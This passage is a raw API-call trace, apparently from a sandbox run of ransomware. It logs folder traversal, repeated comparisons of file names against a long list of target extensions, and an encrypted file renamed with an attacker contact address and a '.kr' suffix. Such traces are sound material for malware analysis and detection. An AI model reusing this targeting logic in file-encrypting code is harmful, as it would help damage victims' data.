(lpString1=".3gp", lpString2=".cmd") returned -1 [0081.402] lstrlenW (lpString=".7z") returned 3 [0081.402] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0081.403] lstrlenW (lpString=".accda") returned 6 [0081.403] lstrcmpiW (lpString1=".accda", lpString2="te.cmd") returned -1 [0081.403] lstrlenW (lpString=".accdb") returned 6 [0081.403] lstrcmpiW (lpString1=".accdb", lpString2="te.cmd") returned -1 [0081.403] lstrlenW (lpString=".accdc") returned 6 [0081.403] lstrcmpiW (lpString1=".accdc", lpString2="te.cmd") returned -1 [0081.403] lstrlenW (lpString=".accde") returned 6 [0081.403] lstrcmpiW (lpString1=".accde", lpString2="te.cmd") returned -1 [0081.403] lstrlenW (lpString=".accdt") returned 6 [0081.403] lstrcmpiW (lpString1=".accdt", lpString2="te.cmd") returned -1 [0081.403] lstrlenW (lpString=".accdw") returned 6 [0081.403] lstrcmpiW (lpString1=".accdw", lpString2="te.cmd") returned -1 [0081.403] lstrlenW (lpString=".adb") returned 4 [0081.403] lstrcmpiW (lpString1=".adb", lpString2=".cmd") returned -1 [0081.403] lstrlenW (lpString=".adp") returned 4 [0081.403] lstrcmpiW (lpString1=".adp", lpString2=".cmd") returned -1 [0081.403] lstrlenW (lpString=".ai") returned 3 [0081.403] lstrcmpiW (lpString1=".ai", lpString2="cmd") returned -1 [0081.403] lstrlenW (lpString=".ai3") returned 4 [0081.403] lstrcmpiW (lpString1=".ai3", lpString2=".cmd") returned -1 [0081.403] lstrlenW (lpString=".ai4") returned 4 [0081.403] lstrcmpiW (lpString1=".ai4", lpString2=".cmd") returned -1 [0081.403] lstrlenW (lpString=".ai5") returned 4 [0081.403] lstrcmpiW (lpString1=".ai5", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".ai6") returned 4 [0081.405] lstrcmpiW (lpString1=".ai6", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".ai7") returned 4 [0081.405] lstrcmpiW (lpString1=".ai7", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".ai8") returned 4 [0081.405] lstrcmpiW (lpString1=".ai8", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".anim") returned 5 [0081.405] lstrcmpiW (lpString1=".anim", lpString2="e.cmd") returned -1 [0081.405] lstrlenW (lpString=".arw") returned 4 [0081.405] lstrcmpiW (lpString1=".arw", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".as") returned 3 [0081.405] lstrcmpiW (lpString1=".as", lpString2="cmd") returned -1 [0081.405] lstrlenW (lpString=".asa") returned 4 [0081.405] lstrcmpiW (lpString1=".asa", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".asc") returned 4 [0081.405] lstrcmpiW (lpString1=".asc", lpString2=".cmd") returned -1 [0081.405] lstrlenW (lpString=".ascx") returned 5 [0081.405] lstrcmpiW (lpString1=".ascx", lpString2="e.cmd") returned -1 [0081.405] lstrlenW (lpString=".asm") returned 4 [0081.406] lstrcmpiW (lpString1=".asm", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".asmx") returned 5 [0081.406] lstrcmpiW (lpString1=".asmx", lpString2="e.cmd") returned -1 [0081.406] lstrlenW (lpString=".asp") returned 4 [0081.406] lstrcmpiW (lpString1=".asp", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".aspx") returned 5 [0081.406] lstrcmpiW (lpString1=".aspx", lpString2="e.cmd") returned -1 [0081.406] lstrlenW (lpString=".asr") returned 4 [0081.406] lstrcmpiW (lpString1=".asr", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".asx") returned 4 [0081.406] lstrcmpiW (lpString1=".asx", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".avi") returned 4 [0081.406] lstrcmpiW (lpString1=".avi", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".avs") returned 4 [0081.406] lstrcmpiW (lpString1=".avs", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".backup") returned 7 [0081.406] lstrcmpiW (lpString1=".backup", lpString2="ete.cmd") returned -1 [0081.406] lstrlenW (lpString=".bak") returned 4 [0081.406] lstrcmpiW (lpString1=".bak", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".bay") returned 4 [0081.406] lstrcmpiW (lpString1=".bay", lpString2=".cmd") returned -1 [0081.406] lstrlenW (lpString=".bd") returned 3 [0081.406] lstrcmpiW (lpString1=".bd", lpString2="cmd") returned -1 [0081.406] lstrlenW (lpString=".bin") returned 4 [0081.406] lstrcmpiW (lpString1=".bin", lpString2=".cmd") returned -1 [0081.409] lstrlenW (lpString=".bmp") returned 4 [0081.409] lstrcmpiW (lpString1=".bmp", lpString2=".cmd") returned -1 [0081.409] lstrlenW (lpString=".bz2") returned 4 [0081.409] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0081.409] lstrlenW (lpString=".c") returned 2 [0081.409] lstrcmpiW (lpString1=".c", lpString2="md") returned -1 [0081.409] lstrlenW (lpString=".cdr") returned 4 [0081.409] lstrcmpiW (lpString1=".cdr", lpString2=".cmd") returned -1 [0081.409] lstrlenW (lpString=".cer") returned 4 [0081.409] lstrcmpiW (lpString1=".cer", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".cf") returned 3 [0081.410] lstrcmpiW (lpString1=".cf", lpString2="cmd") returned -1 [0081.410] lstrlenW (lpString=".cfc") returned 4 [0081.410] lstrcmpiW (lpString1=".cfc", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".cfm") returned 4 [0081.410] lstrcmpiW (lpString1=".cfm", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".cfml") returned 5 [0081.410] lstrcmpiW (lpString1=".cfml", lpString2="e.cmd") returned -1 [0081.410] lstrlenW (lpString=".cfu") returned 4 [0081.410] lstrcmpiW (lpString1=".cfu", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".chm") returned 4 [0081.410] lstrcmpiW (lpString1=".chm", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".cin") returned 4 [0081.410] lstrcmpiW (lpString1=".cin", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".class") returned 6 [0081.410] lstrcmpiW (lpString1=".class", lpString2="te.cmd") returned -1 [0081.410] lstrlenW (lpString=".clx") returned 4 [0081.410] lstrcmpiW (lpString1=".clx", lpString2=".cmd") returned -1 [0081.410] lstrlenW (lpString=".config") returned 7 [0081.410] lstrcmpiW (lpString1=".config", lpString2="ete.cmd") returned -1 [0081.410] lstrlenW (lpString=".cpp") returned 4 [0081.410] lstrcmpiW (lpString1=".cpp", lpString2=".cmd") returned 1 [0081.410] lstrlenW (lpString=".cr2") returned 4 [0081.410] lstrcmpiW (lpString1=".cr2", lpString2=".cmd") returned 1 [0081.410] lstrlenW (lpString=".crt") returned 4 [0081.410] lstrcmpiW (lpString1=".crt", lpString2=".cmd") returned 1 [0081.411] lstrlenW (lpString=".crw") returned 4 [0081.411] lstrcmpiW (lpString1=".crw", lpString2=".cmd") returned 1 [0081.411] lstrlenW (lpString=".cs") returned 3 [0081.411] lstrcmpiW (lpString1=".cs", lpString2="cmd") returned -1 [0081.411] lstrlenW (lpString=".css") returned 4 [0081.411] lstrcmpiW (lpString1=".css", lpString2=".cmd") returned 1 [0081.411] lstrlenW (lpString=".csv") returned 4 [0081.411] lstrcmpiW (lpString1=".csv", lpString2=".cmd") returned 1 [0081.411] lstrlenW (lpString=".cub") returned 4 [0081.411] lstrcmpiW (lpString1=".cub", lpString2=".cmd") returned 1 [0081.411] lstrlenW (lpString=".dae") returned 4 [0081.411] lstrcmpiW (lpString1=".dae", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dat") returned 4 [0081.412] lstrcmpiW (lpString1=".dat", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".db") returned 3 [0081.412] lstrcmpiW (lpString1=".db", lpString2="cmd") returned -1 [0081.412] lstrlenW (lpString=".dbf") returned 4 [0081.412] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dbx") returned 4 [0081.412] lstrcmpiW (lpString1=".dbx", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dc3") returned 4 [0081.412] lstrcmpiW (lpString1=".dc3", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dcm") returned 4 [0081.412] lstrcmpiW (lpString1=".dcm", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dcr") returned 4 [0081.412] lstrcmpiW (lpString1=".dcr", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".der") returned 4 [0081.412] lstrcmpiW (lpString1=".der", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dib") returned 4 [0081.412] lstrcmpiW (lpString1=".dib", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dic") returned 4 [0081.412] lstrcmpiW (lpString1=".dic", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".dif") returned 4 [0081.412] lstrcmpiW (lpString1=".dif", lpString2=".cmd") returned 1 [0081.412] lstrlenW (lpString=".divx") returned 5 [0081.412] lstrcmpiW (lpString1=".divx", lpString2="e.cmd") returned -1 [0081.412] lstrlenW (lpString=".djvu") returned 5 [0081.412] lstrcmpiW (lpString1=".djvu", lpString2="e.cmd") returned -1 [0081.413] lstrlenW (lpString=".dng") returned 4 [0081.413] lstrcmpiW (lpString1=".dng", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".doc") returned 4 [0081.413] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".docm") returned 5 [0081.413] lstrcmpiW (lpString1=".docm", lpString2="e.cmd") returned -1 [0081.413] lstrlenW (lpString=".docx") returned 5 [0081.413] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0081.413] lstrlenW (lpString=".dot") returned 4 [0081.413] lstrcmpiW (lpString1=".dot", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".dotm") returned 5 [0081.413] lstrcmpiW (lpString1=".dotm", lpString2="e.cmd") returned -1 [0081.413] lstrlenW (lpString=".dotx") returned 5 [0081.413] lstrcmpiW (lpString1=".dotx", lpString2="e.cmd") returned -1 [0081.413] lstrlenW (lpString=".dpx") returned 4 [0081.413] lstrcmpiW (lpString1=".dpx", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".dqy") returned 4 [0081.413] lstrcmpiW (lpString1=".dqy", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".dsn") returned 4 [0081.413] lstrcmpiW (lpString1=".dsn", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".dt") returned 3 [0081.413] lstrcmpiW (lpString1=".dt", lpString2="cmd") returned -1 [0081.413] lstrlenW (lpString=".dtd") returned 4 [0081.413] lstrcmpiW (lpString1=".dtd", lpString2=".cmd") returned 1 [0081.413] lstrlenW (lpString=".dwg") returned 4 [0081.414] lstrcmpiW (lpString1=".dwg", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".dwt") returned 4 [0081.414] lstrcmpiW (lpString1=".dwt", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".dx") returned 3 [0081.414] lstrcmpiW (lpString1=".dx", lpString2="cmd") returned -1 [0081.414] lstrlenW (lpString=".dxf") returned 4 [0081.414] lstrcmpiW (lpString1=".dxf", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".edml") returned 5 [0081.414] lstrcmpiW (lpString1=".edml", lpString2="e.cmd") returned -1 [0081.414] lstrlenW (lpString=".efd") returned 4 [0081.414] lstrcmpiW (lpString1=".efd", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".elf") returned 4 [0081.414] lstrcmpiW (lpString1=".elf", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".emf") returned 4 [0081.414] lstrcmpiW (lpString1=".emf", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".emz") returned 4 [0081.414] lstrcmpiW (lpString1=".emz", lpString2=".cmd") returned 1 [0081.414] lstrlenW (lpString=".epf") returned 4 [0081.414] lstrcmpiW (lpString1=".epf", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".eps") returned 4 [0081.415] lstrcmpiW (lpString1=".eps", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".epsf") returned 5 [0081.415] lstrcmpiW (lpString1=".epsf", lpString2="e.cmd") returned -1 [0081.415] lstrlenW (lpString=".epsp") returned 5 [0081.415] lstrcmpiW (lpString1=".epsp", lpString2="e.cmd") returned -1 [0081.415] lstrlenW (lpString=".erf") returned 4 [0081.415] lstrcmpiW (lpString1=".erf", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".exr") returned 4 [0081.415] lstrcmpiW (lpString1=".exr", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".f4v") returned 4 [0081.415] lstrcmpiW (lpString1=".f4v", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".fido") returned 5 [0081.415] lstrcmpiW (lpString1=".fido", lpString2="e.cmd") returned -1 [0081.415] lstrlenW (lpString=".flm") returned 4 [0081.415] lstrcmpiW (lpString1=".flm", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".flv") returned 4 [0081.415] lstrcmpiW (lpString1=".flv", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".frm") returned 4 [0081.415] lstrcmpiW (lpString1=".frm", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".fxg") returned 4 [0081.415] lstrcmpiW (lpString1=".fxg", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".geo") returned 4 [0081.415] lstrcmpiW (lpString1=".geo", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".gif") returned 4 [0081.415] lstrcmpiW (lpString1=".gif", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".grs") returned 4 [0081.415] lstrcmpiW (lpString1=".grs", lpString2=".cmd") returned 1 [0081.415] lstrlenW (lpString=".gz") returned 3 [0081.415] lstrcmpiW (lpString1=".gz", lpString2="cmd") returned -1 [0081.415] lstrlenW (lpString=".h") returned 2 [0081.416] lstrcmpiW (lpString1=".h", lpString2="md") returned -1 [0081.416] lstrlenW (lpString=".hdr") returned 4 [0081.416] lstrcmpiW (lpString1=".hdr", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".hpp") returned 4 [0081.416] lstrcmpiW (lpString1=".hpp", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".hta") returned 4 [0081.416] lstrcmpiW (lpString1=".hta", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".htc") returned 4 [0081.416] lstrcmpiW (lpString1=".htc", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".htm") returned 4 [0081.416] lstrcmpiW (lpString1=".htm", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".html") returned 5 [0081.416] lstrcmpiW (lpString1=".html", lpString2="e.cmd") returned -1 [0081.416] lstrlenW (lpString=".icb") returned 4 [0081.416] lstrcmpiW (lpString1=".icb", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".ics") returned 4 [0081.416] lstrcmpiW (lpString1=".ics", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".iff") returned 4 [0081.416] lstrcmpiW (lpString1=".iff", lpString2=".cmd") returned 1 [0081.416] lstrlenW (lpString=".inc") returned 4 [0081.417] lstrcmpiW (lpString1=".inc", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".indd") returned 5 [0081.417] lstrcmpiW (lpString1=".indd", lpString2="e.cmd") returned -1 [0081.417] lstrlenW (lpString=".ini") returned 4 [0081.417] lstrcmpiW (lpString1=".ini", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".iqy") returned 4 [0081.417] lstrcmpiW (lpString1=".iqy", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".j2c") returned 4 [0081.417] lstrcmpiW (lpString1=".j2c", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".j2k") returned 4 [0081.417] lstrcmpiW (lpString1=".j2k", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".java") returned 5 [0081.417] lstrcmpiW (lpString1=".java", lpString2="e.cmd") returned -1 [0081.417] lstrlenW (lpString=".jp2") returned 4 [0081.417] lstrcmpiW (lpString1=".jp2", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".jpc") returned 4 [0081.417] lstrcmpiW (lpString1=".jpc", lpString2=".cmd") returned 1 [0081.417] lstrlenW (lpString=".jpe") returned 4 [0081.417] lstrcmpiW (lpString1=".jpe", lpString2=".cmd") returned 1 [0081.417] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0081.418] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0081.418] FindClose (in: hFindFile=0x42600d0 | out: hFindFile=0x42600d0) returned 1 [0081.418] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0081.418] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0081.418] FindClose (in: hFindFile=0x45a120 | out: hFindFile=0x45a120) returned 1 [0081.418] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0081.803] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0081.804] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0081.804] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin") returned 1 [0081.804] lstrlenW (lpString="$Recycle.Bin") returned 12 [0081.804] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$Recycle.Bin") returned 1 [0081.804] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0081.805] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0081.805] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0081.806] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0081.806] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0081.807] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0081.807] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1 [0081.807] lstrlenW (lpString="S-1-5-18") returned 8 [0081.807] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1 [0081.807] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0081.807] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0081.807] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260150 [0081.807] FindNextFileW (in: hFindFile=0x4260150, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.807] FindNextFileW (in: hFindFile=0x4260150, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc29394ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc29394ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc297d730, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 1 [0081.807] lstrlenW (lpString="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr") returned 49 [0081.807] lstrlenW (lpString=".1cd") returned 4 [0081.807] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0081.807] lstrlenW (lpString=".3ds") returned 4 [0081.807] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0081.807] lstrlenW (lpString=".3fr") returned 4 [0081.808] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0081.808] lstrlenW (lpString=".3g2") returned 4 [0081.808] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0081.808] lstrlenW (lpString=".3gp") returned 4 [0081.808] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0081.808] lstrlenW (lpString=".7z") returned 3 [0081.808] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0081.808] lstrlenW (lpString=".accda") returned 6 [0081.808] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0081.808] lstrlenW (lpString=".accdb") returned 6 [0081.808] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0081.808] lstrlenW (lpString=".accdc") returned 6 [0081.808] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0081.808] lstrlenW (lpString=".accde") returned 6 [0081.808] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0081.808] lstrlenW (lpString=".accdt") returned 6 [0081.808] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0081.808] lstrlenW (lpString=".accdw") returned 6 [0081.808] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0081.808] lstrlenW (lpString=".adb") returned 4 [0081.808] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0081.809] lstrlenW (lpString=".adp") returned 4 [0081.809] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0081.809] lstrlenW (lpString=".ai") returned 3 [0081.809] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0081.809] lstrlenW (lpString=".ai3") returned 4 [0081.809] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0081.809] lstrlenW (lpString=".ai4") returned 4 [0081.809] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0081.809] lstrlenW (lpString=".ai5") returned 4 [0081.810] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0081.810] lstrlenW (lpString=".ai6") returned 4 [0081.810] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0081.810] lstrlenW (lpString=".ai7") returned 4 [0081.810] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0081.810] lstrlenW (lpString=".ai8") returned 4 [0081.810] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0081.810] lstrlenW (lpString=".anim") returned 5 [0081.810] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0081.810] lstrlenW (lpString=".arw") returned 4 [0081.810] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0081.810] lstrlenW (lpString=".as") returned 3 [0081.810] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0081.810] lstrlenW (lpString=".asa") returned 4 [0081.811] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".asc") returned 4 [0081.811] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".ascx") returned 5 [0081.811] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0081.811] lstrlenW (lpString=".asm") returned 4 [0081.811] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".asmx") returned 5 [0081.811] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0081.811] lstrlenW (lpString=".asp") returned 4 [0081.811] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".aspx") returned 5 [0081.811] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0081.811] lstrlenW (lpString=".asr") returned 4 [0081.811] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".asx") returned 4 [0081.811] lstrcmpiW (lpString1=".asx", 